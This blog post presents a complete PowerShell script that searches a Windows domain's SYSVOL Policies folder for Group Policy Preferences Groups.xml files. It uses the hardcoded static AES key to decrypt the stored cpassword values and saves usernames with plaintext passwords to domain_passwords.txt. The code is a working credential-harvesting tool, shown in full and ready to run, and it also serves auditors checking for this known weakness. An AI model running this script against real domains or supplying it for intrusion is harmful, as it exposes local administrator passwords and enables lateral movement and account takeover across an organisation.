PShell Script: Extract All GPO Set Passwords From Domain

This script parses the domain’s Policies folder looking for Group.xml files.  These files contain either a username change, password setting, or both.  This gives you the raw data for local accounts and/or passwords enforced using Group Policy Preferences.  Microsoft chose to use a static AES key for encrypting this password.  How awesome is that!

The password is encrypted once with AES  in CBC mode at 256 bits.  The key used is:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

A big thank you to my friend Keith B who helped me with tips for the PowerShell code.  I definitely do not have a background working with PS and learned some cool things along the way.

This script was modified from original work by Chris Campbell as noted in the comments.

Update:  21 Oct 2012:  With feedback from Piet Carpentier (@DFTER) and ‘Joe’ I’ve modified the decryptPassword function to correct an issue where the string was sometimes too long or not returned which was returning as a failed decryption rather than a missing string or incorrectly decoded string.  Thanks guys!

Update:  14 Dec 2012:  Reviewed this and found a couple things I could fix or improve on.  The functions return better information and I fixed a bug that caused decryption failures in some cases.

Running this script:

  • Run it against the current domain to find everything:
    • PS C:\> .\GPO-Passwords.ps1
  • Run it against a local copy of a Groups.xml file:
    • PS C:\> .\GPO-Passwords.ps1 -local .\Groups.xml
<#
#################################################
# Group Policy Preferences Password check by:   #
# Nathan V                                      #
# Cyber Security Analyst                        #
# http://nathanv.com                            #
#                                               #
# For assistance and new versions contact       #
# nathan.v@gmail.com                            #
# This file updated: 14 Dec 2012                #
#################################################
# This script (c)2012 Nathan V : License: GPLv2 #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
# http://www.gnu.org/licenses/gpl.html          #
#################################################
# Based on Get-GPPPassword by:                  #
# Chris Campbell                                #
# www.obscuresecurity.blogspot.com              #
# @obscuresec                                   #
#################################################
#>
Param(
    [alias("local")]
    $localfile)

# Import the Group Policy module;  required for finding the GPO name for each password.  If this fails the names will not resolve but other functions will still work.
import-module grouppolicy -ea SilentlyContinue
$results = @()  # declare dynamic results array

# Function to allow us to go to the network DIR and then return back to where we started
function cdir {
    if ($args[0] -eq '-') {
            $pwd=$OLDPWD;
        } else {
            $pwd=$args[0];
        }
        $tmp=pwd;
        if ($pwd) {
            Set-Location $pwd;
        }
    Set-Variable -Name OLDPWD -Value $tmp -Scope global;
}

#Function to pull encrypted password string from groups.xml
function parsecPassword {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $cPassword = $Xml.Groups.User.Properties.cpassword
    } catch { $cPassword = "No Password Policy Found" }
    return $cPassword
}
#Function to look to see if the administrator account is given a newname
function parseNewName {
    try {
    [xml] $Xml = Get-Content ($Path)
    [string] $newName = $Xml.Groups.User.Properties.newName
    if ($newName) {
      return $newName
    } else {
      return "No Username Specified"
    }
    } catch { $newName = "Error" }
}
#Function to parse out the Username whose password is being specified
function parseUserName {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $userName = $Xml.Groups.User.Properties.userName
    if ($userName) {
      return $userName
    } else {
      return "No Username Specified"
    }
    } catch { $userName = "Error" }
}

#Function that decodes and decrypts password
function decryptPassword {
    try {
    if( $cPassword.Length -eq 0 ) {
      return "Empty Password!"
    } elseif( $cPassword.Length -gt 64 ) {
      [string]$cPassword = [string]$cPassword.Substring(0,64)
    } else {`
      [string]$Pad = "=" * (4 - ($cPassword.length % 4))
    }
        $b64Decoded = [Convert]::FromBase64String($cPassword + $Pad)
        $aesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $aesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        $aesIV = New-Object Byte[]($aesObject.IV.Length)
        $aesObject.IV = $aesIV
        $aesObject.Key = $aesKey
        $decryptorObject = $aesObject.CreateDecryptor()
        [Byte[]] $outBlock = $decryptorObject.TransformFinalBlock($b64Decoded, 0, $b64Decoded.length)
        return [System.Text.UnicodeEncoding]::Unicode.GetString($outBlock)
    } catch { return "Decryption Failed!" }
}

# Function to find the policy name to locate where the password is valid
function getGPO {
    $guid = $Path.Substring(1,36)
    try {
        $gpoName = get-gpo -guid $guid | Select-Object -ExpandProperty DisplayName
    } catch {
        $gpoName = "Unable to find GPO name"
    }
    return $gpoName
}

# Function to parse the XML, decrypt the key, and return the results.
function parseDecrypt($path) {
    $cPassword = parsecPassword
    $password = decryptPassword
    $newName = parseNewName
    $userName = parseUserName
    if ($localfile -eq $null) {$gpo = getGPO} else {$gpo = "Local file"}
    $results = "$username, $newName, $password, $gpo"
    return $results
}
Clear-Host
if ($localfile -eq $null) {
    Write-Host "Searching $Env:UserDNSDomain for Group Policy Preferences passwords."
    Write-Host "On a large domain this may take some time. Please wait..."
    $sourceXML = Get-ChildItem -Path "\\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies" -recurse -name -include Groups.xml
    cdir \\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies\  # Due to the potential length of the filenames given a long domain name we CD to the Policies folder to shrink it down
    } else {
    Write-Host "-local used; checking file $file"
    $sourceXML = $localfile
    }

Write-Host " "
Write-Host "Username, New name (if any), Password, source GPO:"
Write-Host " "

foreach($file in $sourceXML) { 
    $results += parseDecrypt $file
    }
if ($localfile -eq $null) {cdir -}
"Username, New name (if any), Password, source GPO:" > ".\domain_passwords.txt"
foreach($result in $results) {
    Write-Host $result
    $result >> ".\domain_passwords.txt"
    }
Write-Host " "
Write-Host "List of discovered setttings saved as .\domain_passwords.txt"

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